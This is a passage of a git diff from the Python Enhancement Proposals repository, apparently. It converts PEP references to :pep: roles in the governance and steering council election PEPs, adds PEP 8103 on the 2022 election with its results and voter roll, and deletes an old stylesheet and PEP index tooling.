shaping this document. Thank you to Alex Crichton and the Rust team for a governance model diff --git a/pep-8013.rst b/pep-8013.rst index c5500770361..ddf9f9ac4a9 100644 --- a/pep-8013.rst +++ b/pep-8013.rst @@ -11,8 +11,8 @@ Abstract This PEP proposes a new model of Python governance based on a Council of Auditors (CoA) tasked with making final decisions for the language. -It differs from PEP 8010 by specifically not proposing a central -singular leader, and from PEP 8011 by disallowing core committers from +It differs from :pep:`8010` by specifically not proposing a central +singular leader, and from :pep:`8011` by disallowing core committers from being council members. It describes the size and role of the council, how the initial group of council members will be chosen, any term limits of the council members, and how successors will be elected. @@ -27,17 +27,17 @@ circumstances. This only works when process is unspecified, but all participants have similar expectations. This PEP does *not* name the members of the CoA. Should this model be -adopted, it will be codified in PEP 13 along with the names of all +adopted, it will be codified in :pep:`13` along with the names of all officeholders described in this PEP. PEP Rejection ============= -PEP 8013 was rejected `by a core developer vote +:pep:`8013` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. The Importance of the Grey Area =============================== diff --git a/pep-8014.rst b/pep-8014.rst index 31ca81eb919..62b9c9100c0 100644 --- a/pep-8014.rst +++ b/pep-8014.rst @@ -29,11 +29,11 @@ carried by a sufficient majority. PEP Rejection ============= -PEP 8014 was rejected `by a core developer vote +:pep:`8014` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. Introduction ============ @@ -310,7 +310,7 @@ other person or body. Note that this proposal most likely favors conservatism over progression. Or, at least, the danger of it leading to stagnation is bigger than the danger of it leading to reckless blazing ahead into unknown territories. So: we should realise -that it is unlikely that a PEP like PEP 572 will pass if this model is in +that it is unlikely that a PEP like :pep:`572` will pass if this model is in place. Copyright diff --git a/pep-8015.rst b/pep-8015.rst index 036ddef7512..c61acc95d89 100644 --- a/pep-8015.rst +++ b/pep-8015.rst @@ -25,11 +25,11 @@ developers, need ``>= 2/3`` majority). PEP Rejection ============= -PEP 8015 was rejected `by a core developer vote +:pep:`8015` was rejected `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. -PEP 8016 and the governance model it describes were chosen instead. +:pep:`8016` and the governance model it describes were chosen instead. Rationale diff --git a/pep-8016.rst b/pep-8016.rst index a16de96e2c6..3ddb87bbd6b 100644 --- a/pep-8016.rst +++ b/pep-8016.rst @@ -10,7 +10,7 @@ Note ==== This PEP is retained for historical purposes, but the official -governance document is now PEP 13. +governance document is now :pep:`13`. Abstract @@ -30,9 +30,9 @@ decisions. PEP Acceptance ============== -PEP 8016 was accepted `by a core developer vote +:pep:`8016` was accepted `by a core developer vote `__ -described in PEP 8001 on Monday, December 17, 2018. +described in :pep:`8001` on Monday, December 17, 2018. Rationale @@ -359,7 +359,7 @@ Copyright ========= Text copied from Django used under `their license -`__. The rest of +`__. The rest of this document has been placed in the public domain. diff --git a/pep-8100.rst b/pep-8100.rst index 3a50907381f..9c1b2472f6f 100644 --- a/pep-8100.rst +++ b/pep-8100.rst @@ -2,7 +2,7 @@ PEP: 8100 Title: January 2019 steering council election Version: $Revision$ Last-Modified: $Date$ -Author: Nathaniel J. Smith , Ee W. Durbin III +Author: Nathaniel J. Smith , Ee Durbin Status: Active Type: Informational Content-Type: text/x-rst @@ -14,7 +14,7 @@ Abstract This document describes the schedule and other details of the January 2019 election for the Python steering council, as specified in -PEP 13. This is the first steering council election. +:pep:`13`. This is the first steering council election. Returns officer @@ -22,9 +22,9 @@ Returns officer In future elections, the returns officer will be appointed by the outgoing steering council. Since this is the first election, we have -no outgoing steering council, and PEP 13 says that the returns officer +no outgoing steering council, and :pep:`13` says that the returns officer is instead appointed by the PSF Executive Director, Ewa Jodlowska. -`She appointed Ee W. Durbin III +`She appointed Ee Durbin `__. @@ -144,7 +144,7 @@ The top five vote-getters are: * Guido van Rossum * Nick Coghlan -No conflict of interest as defined in PEP 13 were observed. +No conflict of interest as defined in :pep:`13` were observed. The full vote counts are as follows: @@ -200,102 +200,102 @@ Active Python core developers :: - Alex Gaynor - Alex Martelli - Alexander Belopolsky - Alexandre Vassalotti - Amaury Forgeot d'Arc - Andrew Kuchling - Andrew Svetlov - Antoine Pitrou - Armin Ronacher - Barry Warsaw - Benjamin Peterson - Berker Peksag - Brett Cannon - Brian Curtin - Carol Willing - Chris Jerdonek - Chris Withers - Christian Heimes - David Malcolm - David Wolever - Davin Potts - Dino Viehland - Donald Stufft - Doug Hellmann - Eli Bendersky - Emily Morehouse - Éric Araujo - Eric Snow - Eric V. Smith - Ethan Furman - Ezio Melotti - Facundo Batista - Fred Drake - Georg Brandl - Giampaolo Rodola' - Gregory P. Smith - Guido van Rossum - Hyeshik Chang - Hynek Schlawack - INADA Naoki - Ivan Levkivskyi - Jack Diederich - Jack Jansen - Jason R. Coombs - Jeff Hardy - Jeremy Hylton - Jesús Cea - Julien Palard - Kurt B. Kaiser - Kushal Das - Larry Hastings - Lars Gustäbel - Lisa Roach - Łukasz Langa - Marc-Andre Lemburg - Mariatta - Mark Dickinson - Mark Hammond - Mark Shannon - Martin Panter - Matthias Klose - Meador Inge - Michael Hudson-Doyle - Nathaniel J. Smith - Ned Deily - Neil Schemenauer - Nick Coghlan - Pablo Galindo - Paul Moore - Petr Viktorin - Petri Lehtinen - Philip Jenvey - R. David Murray - Raymond Hettinger - Robert Collins - Ronald Oussoren - Sandro Tosi - Senthil Kumaran - Serhiy Storchaka - Sjoerd Mullender - Stefan Krah - Steve Dower - Steven Daprano - T. Wouters - Tal Einat - Terry Jan Reedy - Thomas Heller - Tim Golden - Tim Peters - Trent Nelson - Victor Stinner - Vinay Sajip - Walter Dörwald - Xiang Zhang - Yury Selivanov - Zachary Ware + Alex Gaynor + Alex Martelli + Alexander Belopolsky + Alexandre Vassalotti + Amaury Forgeot d'Arc + Andrew Kuchling + Andrew Svetlov + Antoine Pitrou + Armin Ronacher + Barry Warsaw + Benjamin Peterson + Berker Peksag + Brett Cannon + Brian Curtin + Carol Willing + Chris Jerdonek + Chris Withers + Christian Heimes + David Malcolm + David Wolever + Davin Potts + Dino Viehland + Donald Stufft + Doug Hellmann + Eli Bendersky + Emily Morehouse + Éric Araujo + Eric Snow + Eric V. Smith + Ethan Furman + Ezio Melotti + Facundo Batista + Fred Drake + Georg Brandl + Giampaolo Rodola' + Gregory P. Smith + Guido van Rossum + Hyeshik Chang + Hynek Schlawack + INADA Naoki + Ivan Levkivskyi + Jack Diederich + Jack Jansen + Jason R. Coombs + Jeff Hardy + Jeremy Hylton + Jesús Cea + Julien Palard + Kurt B. Kaiser + Kushal Das + Larry Hastings + Lars Gustäbel + Lisa Roach + Łukasz Langa + Marc-Andre Lemburg + Mariatta + Mark Dickinson + Mark Hammond + Mark Shannon + Martin Panter + Matthias Klose + Meador Inge + Michael Hudson-Doyle + Nathaniel J. Smith + Ned Deily + Neil Schemenauer + Nick Coghlan + Pablo Galindo + Paul Moore + Petr Viktorin + Petri Lehtinen + Philip Jenvey + R. David Murray + Raymond Hettinger + Robert Collins + Ronald Oussoren + Sandro Tosi + Senthil Kumaran + Serhiy Storchaka + Sjoerd Mullender + Stefan Krah + Steve Dower + Steven Daprano + T. Wouters + Tal Einat + Terry Jan Reedy + Thomas Heller + Tim Golden + Tim Peters + Trent Nelson + Victor Stinner + Vinay Sajip + Walter Dörwald + Xiang Zhang + Yury Selivanov + Zachary Ware .. [1] This repository is private and accessible only to Python Core diff --git a/pep-8101.rst b/pep-8101.rst index 8fd781b56f1..2b137f54528 100644 --- a/pep-8101.rst +++ b/pep-8101.rst @@ -2,7 +2,7 @@ PEP: 8101 Title: 2020 Term steering council election Version: $Revision$ Last-Modified: $Date$ -Author: Ewa Jodlowska , Ee W. Durbin III +Author: Ewa Jodlowska , Ee Durbin Sponsor: Brett Cannon Status: Active Type: Informational @@ -15,7 +15,7 @@ Abstract This document describes the schedule and other details of the December 2019 election for the Python steering council, as specified in -PEP 13. This is steering council election for the 2020 term. +:pep:`13`. This is steering council election for the 2020 term. Election Administration @@ -23,7 +23,7 @@ Election Administration The steering council appointed the `Python Software Foundation `__ -Director of Infrastructure, Ee W. Durbin III, to implement the election, +Director of Infrastructure, Ee Durbin, to implement the election, and `Python Software Foundation `__ Executive Director, Ewa Jodlowska, to communicate announcements regarding the election. @@ -145,7 +145,7 @@ The top five vote-getters are: * Thomas Wouters * Victor Stinner -No conflict of interest as defined in PEP 13 were observed. +No conflict of interest as defined in :pep:`13` were observed. The full vote counts are as follows: @@ -186,88 +186,88 @@ Active Python core developers :: - Abhilash Raj - Alex Gaynor - Alex Martelli - Alexander Belopolsky - Andrew Kuchling - Andrew Svetlov - Antoine Pitrou - Barry Warsaw - Benjamin Peterson - Berker Peksağ - Brett Cannon - Brian Curtin - Brian Quinlan - Carol Willing - Cheryl Sabella - Chris Withers - Christian Heimes - Christian Tismer - Davin Potts - Dino Viehland - Donald Stufft - Emily Morehouse - Éric Araujo - Eric Snow - Eric V. Smith - Ethan Furman - Ezio Melotti - Facundo Batista - Fred Drake - Giampaolo Rodolà - Gregory P. Smith - Guido van Rossum - Inada Naoki - Ivan Levkivskyi - Jason R. Coombs - Jeremy Kloth - Jesús Cea - Joannah Nanjekye - Julien Palard - Kurt B. Kaiser - Kushal Das - Larry Hastings - Lisa Roach - Łukasz Langa - Marc-André Lemburg - Mariatta - Mark Dickinson - Mark Shannon - Matthias Klose - Michael Foord - Nathaniel J. Smith - Ned Deily - Neil Schemenauer - Nick Coghlan - Pablo Galindo - Paul Ganssle - Paul Moore - Petr Viktorin - R. David Murray - Raymond Hettinger - Robert Collins - Ronald Oussoren - Senthil Kumaran - Serhiy Storchaka - Skip Montanaro - Stefan Behnel - Stefan Krah - Steve Dower - Steven D'Aprano - Stéphane Wirtel - Tal Einat - Terry Jan Reedy - Thomas Wouters - Tim Golden - Tim Peters - Victor Stinner - Vinay Sajip - Walter Dörwald - Xavier de Gaye - Xiang Zhang - Yury Selivanov - Zachary Ware + Abhilash Raj + Alex Gaynor + Alex Martelli + Alexander Belopolsky + Andrew Kuchling + Andrew Svetlov + Antoine Pitrou + Barry Warsaw + Benjamin Peterson + Berker Peksağ + Brett Cannon + Brian Curtin + Brian Quinlan + Carol Willing + Cheryl Sabella + Chris Withers + Christian Heimes + Christian Tismer + Davin Potts + Dino Viehland + Donald Stufft + Emily Morehouse + Éric Araujo + Eric Snow + Eric V. Smith + Ethan Furman + Ezio Melotti + Facundo Batista + Fred Drake + Giampaolo Rodolà + Gregory P. Smith + Guido van Rossum + Inada Naoki + Ivan Levkivskyi + Jason R. Coombs + Jeremy Kloth + Jesús Cea + Joannah Nanjekye + Julien Palard + Kurt B. Kaiser + Kushal Das + Larry Hastings + Lisa Roach + Łukasz Langa + Marc-André Lemburg + Mariatta + Mark Dickinson + Mark Shannon + Matthias Klose + Michael Foord + Nathaniel J. Smith + Ned Deily + Neil Schemenauer + Nick Coghlan + Pablo Galindo + Paul Ganssle + Paul Moore + Petr Viktorin + R. David Murray + Raymond Hettinger + Robert Collins + Ronald Oussoren + Senthil Kumaran + Serhiy Storchaka + Skip Montanaro + Stefan Behnel + Stefan Krah + Steve Dower + Steven D'Aprano + Stéphane Wirtel + Tal Einat + Terry Jan Reedy + Thomas Wouters + Tim Golden + Tim Peters + Victor Stinner + Vinay Sajip + Walter Dörwald + Xavier de Gaye + Xiang Zhang + Yury Selivanov + Zachary Ware .. [1] This repository is private and accessible only to Python Core diff --git a/pep-8102.rst b/pep-8102.rst index d8471203e54..cce2f4346f8 100644 --- a/pep-8102.rst +++ b/pep-8102.rst @@ -2,7 +2,7 @@ PEP: 8102 Title: 2021 Term steering council election Version: $Revision$ Last-Modified: $Date$ -Author: Ewa Jodlowska , Ee W. Durbin III , Joe Carey +Author: Ewa Jodlowska , Ee Durbin , Joe Carey Sponsor: Brett Cannon Status: Active Type: Informational @@ -15,7 +15,7 @@ Abstract This document describes the schedule and other details of the December 2020 election for the Python steering council, as specified in -PEP 13. This is the steering council election for the 2021 term. +:pep:`13`. This is the steering council election for the 2021 term. Election Administration @@ -23,7 +23,7 @@ Election Administration The steering council appointed the `Python Software Foundation `__ -Director of Infrastructure, Ee W. Durbin III, +Director of Infrastructure, Ee Durbin, and Accounting Manager, Joe Carey, to coadminister the election. `Python Software Foundation `__ @@ -75,7 +75,7 @@ Voter Roll ========== All active Python core team members are eligible to vote. Active status -is determined as described in `PEP 13 `_ +is determined as described in :pep:`PEP 13 <13#membership>` and implemented via the software at `python/voters `_ [1]_. Ballots will be distributed based on the `The Python Voter Roll for this @@ -151,7 +151,7 @@ The top five vote-getters are: * Pablo Galindo Salgado * Thomas Wouters -No conflict of interest as defined in PEP 13 were observed. +No conflict of interest as defined in :pep:`13` were observed. The full vote counts are as follows: @@ -194,97 +194,97 @@ Active Python core developers :: - Abhilash Raj - Alex Gaynor - Alex Martelli - Alexander Belopolsky - Andrew Kuchling - Andrew Svetlov - Antoine Pitrou - Barry Warsaw - Batuhan Taskaya - Benjamin Peterson - Berker Peksağ - Brandt Bucher - Brett Cannon - Brian Curtin - Brian Quinlan - Carol Willing - Cheryl Sabella - Chris Jerdonek - Chris Withers - Christian Heimes - Christian Tismer - Davin Potts - Dino Viehland - Donald Stufft - Dong-hee Na - Emily Morehouse - Éric Araujo - Eric Snow - Eric V. Smith - Ethan Furman - Ezio Melotti - Facundo Batista - Fred Drake - Georg Brandl - Giampaolo Rodolà - Gregory P. Smith - Guido van Rossum - Hynek Schlawack - Inada Naoki - Ivan Levkivskyi - Jack Jansen - Jason R. Coombs - Jeremy Kloth - Jesús Cea - Joannah Nanjekye - Julien Palard - Karthikeyan Singaravelan - Kurt B. Kaiser - Kushal Das - Kyle Stanley - Larry Hastings - Lisa Roach - Łukasz Langa - Lysandros Nikolaou - Marc-André Lemburg - Mariatta - Mark Dickinson - Mark Hammond - Mark Shannon - Matthias Klose - Michael Foord - Nathaniel J. Smith - Ned Deily - Neil Schemenauer - Nick Coghlan - Pablo Galindo - Paul Ganssle - Paul Moore - Petr Viktorin - R. David Murray - Raymond Hettinger - Robert Collins - Ronald Oussoren - Sandro Tosi - Senthil Kumaran - Serhiy Storchaka - Stefan Behnel - Steve Dower - Steven D'Aprano - Stéphane Wirtel - Tal Einat - Terry Jan Reedy - Thomas Wouters - Tim Golden - Tim Peters - Victor Stinner - Vinay Sajip - Walter Dörwald - Xiang Zhang - Yury Selivanov - Zachary Ware + Abhilash Raj + Alex Gaynor + Alex Martelli + Alexander Belopolsky + Andrew Kuchling + Andrew Svetlov + Antoine Pitrou + Barry Warsaw + Batuhan Taskaya + Benjamin Peterson + Berker Peksağ + Brandt Bucher + Brett Cannon + Brian Curtin + Brian Quinlan + Carol Willing + Cheryl Sabella + Chris Jerdonek + Chris Withers + Christian Heimes + Christian Tismer + Davin Potts + Dino Viehland + Donald Stufft + Dong-hee Na + Emily Morehouse + Éric Araujo + Eric Snow + Eric V. Smith + Ethan Furman + Ezio Melotti + Facundo Batista + Fred Drake + Georg Brandl + Giampaolo Rodolà + Gregory P. Smith + Guido van Rossum + Hynek Schlawack + Inada Naoki + Ivan Levkivskyi + Jack Jansen + Jason R. Coombs + Jeremy Kloth + Jesús Cea + Joannah Nanjekye + Julien Palard + Karthikeyan Singaravelan + Kurt B. Kaiser + Kushal Das + Kyle Stanley + Larry Hastings + Lisa Roach + Łukasz Langa + Lysandros Nikolaou + Marc-André Lemburg + Mariatta + Mark Dickinson + Mark Hammond + Mark Shannon + Matthias Klose + Michael Foord + Nathaniel J. Smith + Ned Deily + Neil Schemenauer + Nick Coghlan + Pablo Galindo + Paul Ganssle + Paul Moore + Petr Viktorin + R. David Murray + Raymond Hettinger + Robert Collins + Ronald Oussoren + Sandro Tosi + Senthil Kumaran + Serhiy Storchaka + Stefan Behnel + Steve Dower + Steven D'Aprano + Stéphane Wirtel + Tal Einat + Terry Jan Reedy + Thomas Wouters + Tim Golden + Tim Peters + Victor Stinner + Vinay Sajip + Walter Dörwald + Xiang Zhang + Yury Selivanov + Zachary Ware .. [1] This repository is private and accessible only to Python Core diff --git a/pep-8103.rst b/pep-8103.rst new file mode 100644 index 00000000000..ec9ced36b7a --- /dev/null +++ b/pep-8103.rst @@ -0,0 +1,285 @@ +PEP: 8103 +Title: 2022 Term steering council election +Version: $Revision$ +Last-Modified: $Date$ +Author: Ewa Jodlowska , Ee Durbin , Joe Carey +Sponsor: Barry Warsaw +Status: Active +Type: Informational +Content-Type: text/x-rst +Created: 04-Oct-2021 + + +Abstract +======== + +This document describes the schedule and other details of the December +2021 election for the Python steering council, as specified in +:pep:`13`. This is the steering council election for the 2022 term +(i.e. Python 3.11). + + +Election Administration +======================= + +The steering council appointed the +`Python Software Foundation `__ +Director of Infrastructure, Ee Durbin +and Accounting Manager, Joe Carey, to coadminister the election. + + +Schedule +======== + +There will be a two-week nomination period, followed by a two-week +vote. + +The nomination period was: November 1, 2021 through November 16, 2021 12:00 UTC +(The end of November 15, 2021 `Anywhere on Earth +`_). As announced on `python-committers +`_, +and took place on `discuss.python.org `_. + +The voting period is: December 1, 2021 12:00 UTC through December 16, 2021 +12:00 UTC (The end of December 15, 2021 `Anywhere on Earth +`_). + + +Candidates +========== + +Candidates must be nominated by a core team member. If the candidate +is a core team member, they may nominate themselves. + +Nominees (in alphabetical order): + +- `Brett Cannon `_ +- `Mariatta `_ +- `David Mertz `_ +- `Dong-hee Na `_ +- `Pablo Galindo Salgado `_ +- `Gregory P. Smith `_ +- `Victor Stinner `_ +- `Petr Viktorin `_ +- `Barry Warsaw `_ +- `Thomas Wouters `_ + +Withdrawn nominations: + +- None + +Voter Roll +========== + +All active Python core team members are eligible to vote. Active status +is determined as described in :pep:`PEP 13 <13#membership>` +and implemented via the software at `python/voters `_ [1]_. + +Ballots will be distributed based on the `The Python Voter Roll for this +election +`_ +[1]_. + +While this file is not public as it contains private email addresses, the +`Complete Voter Roll`_ by name will be made available when the roll is +created. + +Election Implementation +======================= + +The election will be conducted using the `Helios Voting Service +`__. + + +Configuration +------------- + +Short name: ``2022-python-steering-council`` + +Name: ``2022 Python Steering Council Election`` + +Description: ``Election for the Python steering council, as specified in PEP 13. This is steering council election for the 2022 term.`` + +type: ``Election`` + +Use voter aliases: ``[X]`` + +Randomize answer order: ``[X]`` + +Private: ``[X]`` + +Help Email Address: ``psf-election@python.org`` + +Voting starts at: ``December 1, 2021 00:00 UTC`` + +Voting ends at: ``December 16, 2021 12:00 UTC`` + +This will create an election in which: + +* Voting is not open to the public, only those on the `Voter Roll`_ may + participate. Ballots will be emailed when voting starts. +* Candidates are presented in random order, to help avoid bias. +* Voter identities and ballots are protected against cryptographic advances. + +Questions +--------- + +Question 1 +~~~~~~~~~~ + +Select between ``0`` and ``- (approval)`` answers. Result Type: ``absolute`` + +Question: ``Select candidates for the Python Steering Council`` + +Answer #1 - #N: ``Candidates from Candidates_ Section`` + + + +Results +======= + +Of 85 eligible voters, 67 cast ballots. + +The top five vote-getters are: + +* Pablo Galindo Salgado +* Petr Viktorin +* Thomas Wouters +* Gregory P. Smith +* Brett Cannon + +No conflict of interest as defined in :pep:`13` were observed. + +The full vote counts are as follows: + ++-----------------------+----------------+ +| Candidate | Votes Received | ++=======================+================+ +| Pablo Galindo Salgado | 61 | ++-----------------------+----------------+ +| Petr Viktorin | 48 | ++-----------------------+----------------+ +| Thomas Wouters | 48 | ++-----------------------+----------------+ +| Gregory P. Smith | 44 | ++-----------------------+----------------+ +| Brett Cannon | 42 | ++-----------------------+----------------+ +| Barry Warsaw | 39 | ++-----------------------+----------------+ +| Victor Stinner | 35 | ++-----------------------+----------------+ +| Mariatta | 34 | ++-----------------------+----------------+ +| Dong-hee Na | 26 | ++-----------------------+----------------+ +| David Mertz | 24 | ++-----------------------+----------------+ + + +Copyright +========= + +This document has been placed in the public domain. + + +Complete Voter Roll +=================== + +Active Python core developers +----------------------------- + +:: + + Abhilash Raj + Alex Gaynor + Ammar Askar + Andrew Kuchling + Andrew Svetlov + Antoine Pitrou + Barry Warsaw + Batuhan Taskaya + Benjamin Peterson + Berker Peksağ + Brandt Bucher + Brett Cannon + Brian Curtin + Brian Quinlan + Carol Willing + Cheryl Sabella + Chris Jerdonek + Chris Withers + Christian Heimes + Dino Viehland + Dong-hee Na + Éric Araujo + Eric Snow + Eric V. Smith + Ethan Furman + Facundo Batista + Fred Drake + Giampaolo Rodolà + Gregory P. Smith + Guido van Rossum + Hynek Schlawack + Inada Naoki + Irit Katriel + Ivan Levkivskyi + Jason R. Coombs + Jeremy Kloth + Jesús Cea + Joannah Nanjekye + Julien Palard + Karthikeyan Singaravelan + Ken Jin + Kushal Das + Kyle Stanley + Larry Hastings + Lisa Roach + Łukasz Langa + Lysandros Nikolaou + Marc-André Lemburg + Mariatta + Mark Dickinson + Mark Shannon + Nathaniel J. Smith + Ned Deily + Neil Schemenauer + Nick Coghlan + Pablo Galindo + Paul Ganssle + Paul Moore + Petr Viktorin + Raymond Hettinger + Ronald Oussoren + Senthil Kumaran + Serhiy Storchaka + Stefan Behnel + Stéphane Wirtel + Steve Dower + Tal Einat + Terry Jan Reedy + Thomas Wouters + Tim Golden + Tim Peters + Victor Stinner + Vinay Sajip + Xiang Zhang + Yury Selivanov + Zachary Ware + + +.. [1] This repository is private and accessible only to Python Core + Developers, administrators, and Python Software Foundation Staff as it + contains personal email addresses. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep.css b/pep.css deleted file mode 100644 index d75dff1d89d..00000000000 --- a/pep.css +++ /dev/null @@ -1,344 +0,0 @@ -/* -:Author: David Goodger -:Contact: goodger@python.org -:date: $Date$ -:version: $Revision$ -:copyright: This stylesheet has been placed in the public domain. - -Default cascading style sheet for the PEP HTML output of Docutils. -*/ - -/* "! important" is used here to override other ``margin-top`` and - ``margin-bottom`` styles that are later in the stylesheet or - more specific. See http://www.w3.org/TR/CSS1#the-cascade */ -.first { - margin-top: 0 ! important } - -.last, .with-subtitle { - margin-bottom: 0 ! important } - -.hidden { - display: none } - -.navigation { - width: 100% ; - background: #99ccff ; - margin-top: 0px ; - margin-bottom: 0px } - -.navigation .navicon { - width: 150px ; - height: 35px } - -.navigation .textlinks { - padding-left: 1em ; - text-align: left } - -.navigation td, .navigation th { - padding-left: 0em ; - padding-right: 0em ; - vertical-align: middle } - -.rfc2822 { - margin-top: 0.5em ; - margin-left: 0.5em ; - margin-right: 0.5em ; - margin-bottom: 0em } - -.rfc2822 td { - text-align: left } - -.rfc2822 th.field-name { - text-align: right ; - font-family: sans-serif ; - padding-right: 0.5em ; - font-weight: bold ; - margin-bottom: 0em } - -a.toc-backref { - text-decoration: none ; - color: black } - -blockquote.epigraph { - margin: 2em 5em ; } - -body { - margin: 0px ; - margin-bottom: 1em ; - padding: 0px } - -dl.docutils dd { - margin-bottom: 0.5em } - -div.section { - margin-left: 1em ; - margin-right: 1em ; - margin-bottom: 1.5em } - -div.section div.section { - margin-left: 0em ; - margin-right: 0em ; - margin-top: 1.5em } - -div.abstract { - margin: 2em 5em } - -div.abstract p.topic-title { - font-weight: bold ; - text-align: center } - -div.admonition, div.attention, div.caution, div.danger, div.error, -div.hint, div.important, div.note, div.tip, div.warning { - margin: 2em ; - border: medium outset ; - padding: 1em } - -div.admonition p.admonition-title, div.hint p.admonition-title, -div.important p.admonition-title, div.note p.admonition-title, -div.tip p.admonition-title { - font-weight: bold ; - font-family: sans-serif } - -div.attention p.admonition-title, div.caution p.admonition-title, -div.danger p.admonition-title, div.error p.admonition-title, -div.warning p.admonition-title { - color: red ; - font-weight: bold ; - font-family: sans-serif } - -/* Uncomment (and remove this text!) to get reduced vertical space in - compound paragraphs. -div.compound .compound-first, div.compound .compound-middle { - margin-bottom: 0.5em } - -div.compound .compound-last, div.compound .compound-middle { - margin-top: 0.5em } -*/ - -div.dedication { - margin: 2em 5em ; - text-align: center ; - font-style: italic } - -div.dedication p.topic-title { - font-weight: bold ; - font-style: normal } - -div.figure { - margin-left: 2em ; - margin-right: 2em } - -div.footer, div.header { - clear: both; - font-size: smaller } - -div.footer { - margin-left: 1em ; - margin-right: 1em } - -div.line-block { - display: block ; - margin-top: 1em ; - margin-bottom: 1em } - -div.line-block div.line-block { - margin-top: 0 ; - margin-bottom: 0 ; - margin-left: 1.5em } - -div.sidebar { - margin-left: 1em ; - border: medium outset ; - padding: 1em ; - background-color: #ffffee ; - width: 40% ; - float: right ; - clear: right } - -div.sidebar p.rubric { - font-family: sans-serif ; - font-size: medium } - -div.system-messages { - margin: 5em } - -div.system-messages h1 { - color: red } - -div.system-message { - border: medium outset ; - padding: 1em } - -div.system-message p.system-message-title { - color: red ; - font-weight: bold } - -div.topic { - margin: 2em } - -h1.section-subtitle, h2.section-subtitle, h3.section-subtitle, -h4.section-subtitle, h5.section-subtitle, h6.section-subtitle { - margin-top: 0.4em } - -h1 { - font-family: sans-serif ; - font-size: large } - -h2 { - font-family: sans-serif ; - font-size: medium } - -h3 { - font-family: sans-serif ; - font-size: small } - -h4 { - font-family: sans-serif ; - font-style: italic ; - font-size: small } - -h5 { - font-family: sans-serif; - font-size: x-small } - -h6 { - font-family: sans-serif; - font-style: italic ; - font-size: x-small } - -hr.docutils { - width: 75% } - -img.align-left { - clear: left } - -img.align-right { - clear: right } - -img.borderless { - border: 0 } - -ol.simple, ul.simple { - margin-bottom: 1em } - -ol.arabic { - list-style: decimal } - -ol.loweralpha { - list-style: lower-alpha } - -ol.upperalpha { - list-style: upper-alpha } - -ol.lowerroman { - list-style: lower-roman } - -ol.upperroman { - list-style: upper-roman } - -p.attribution { - text-align: right ; - margin-left: 50% } - -p.caption { - font-style: italic } - -p.credits { - font-style: italic ; - font-size: smaller } - -p.label { - white-space: nowrap } - -p.rubric { - font-weight: bold ; - font-size: larger ; - color: maroon ; - text-align: center } - -p.sidebar-title { - font-family: sans-serif ; - font-weight: bold ; - font-size: larger } - -p.sidebar-subtitle { - font-family: sans-serif ; - font-weight: bold } - -p.topic-title { - font-family: sans-serif ; - font-weight: bold } - -pre.address { - margin-bottom: 0 ; - margin-top: 0 ; - font-family: serif ; - font-size: 100% } - -pre.literal-block, pre.doctest-block { - margin-left: 2em ; - margin-right: 2em } - -span.classifier { - font-family: sans-serif ; - font-style: oblique } - -span.classifier-delimiter { - font-family: sans-serif ; - font-weight: bold } - -span.interpreted { - font-family: sans-serif } - -span.option { - white-space: nowrap } - -span.option-argument { - font-style: italic } - -span.pre { - white-space: pre } - -span.problematic { - color: red } - -span.section-subtitle { - /* font-size relative to parent (h1..h6 element) */ - font-size: 80% } - -table.citation { - border-left: solid 1px gray; - margin-left: 1px } - -table.docinfo { - margin: 2em 4em } - -table.docutils { - margin-top: 0.5em ; - margin-bottom: 0.5em } - -table.footnote { - border-left: solid 1px black; - margin-left: 1px } - -table.docutils td, table.docutils th, -table.docinfo td, table.docinfo th { - padding-left: 0.5em ; - padding-right: 0.5em ; - vertical-align: top } - -td.num { - text-align: right } - -th.field-name { - font-weight: bold ; - text-align: left ; - white-space: nowrap ; - padding-left: 0 } - -h1 tt.docutils, h2 tt.docutils, h3 tt.docutils, -h4 tt.docutils, h5 tt.docutils, h6 tt.docutils { - font-size: 100% } - -ul.auto-toc { - list-style-type: none } diff --git a/pep0/__init__.py b/pep0/__init__.py deleted file mode 100644 index b7db25411d0..00000000000 --- a/pep0/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# Empty diff --git a/pep0/constants.py b/pep0/constants.py deleted file mode 100644 index e40293f44a9..00000000000 --- a/pep0/constants.py +++ /dev/null @@ -1,43 +0,0 @@ -# -*- coding: utf-8 -*- -text_type = str -title_length = 55 -author_length = 40 -table_separator = "== ==== " + "="*title_length + " " + "="*author_length -column_format = ( - '%(type)1s%(status)1s %(number)4s %(title)-{title_length}s %(authors)-s' -).format(title_length=title_length) - -header = """\ -PEP: 0 -Title: Index of Python Enhancement Proposals (PEPs) -Version: N/A -Last-Modified: %s -Author: python-dev -Status: Active -Type: Informational -Content-Type: text/x-rst -Created: 13-Jul-2000 -""" - -intro = """\ -This PEP contains the index of all Python Enhancement Proposals, -known as PEPs. PEP numbers are assigned by the PEP editors, and -once assigned are never changed [1_]. The version control history [2_] of -the PEP texts represent their historical record. -""" - -references = """\ -.. [1] PEP 1: PEP Purpose and Guidelines -.. [2] View PEP history online: https://github.com/python/peps -""" - -footer = """ \ -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - coding: utf-8 - End:\ -""" diff --git a/pep0/output.py b/pep0/output.py deleted file mode 100644 index 10024c221b8..00000000000 --- a/pep0/output.py +++ /dev/null @@ -1,290 +0,0 @@ -"""Code to handle the output of PEP 0.""" -from __future__ import absolute_import -from __future__ import print_function -import datetime -import sys -import unicodedata - -from operator import attrgetter - -from . import constants -from .pep import PEP, PEPError - -# This is a list of reserved PEP numbers. Reservations are not to be used for -# the normal PEP number allocation process - just give out the next available -# PEP number. These are for "special" numbers that may be used for semantic, -# humorous, or other such reasons, e.g. 401, 666, 754. -# -# PEP numbers may only be reserved with the approval of a PEP editor. Fields -# here are the PEP number being reserved and the claimants for the PEP. -# Although the output is sorted when PEP 0 is generated, please keep this list -# sorted as well. -RESERVED = [ - (801, 'Warsaw'), - ] - - -indent = u' ' - -def emit_column_headers(output): - """Output the column headers for the PEP indices.""" - column_headers = {'status': '.', 'type': '.', 'number': 'PEP', - 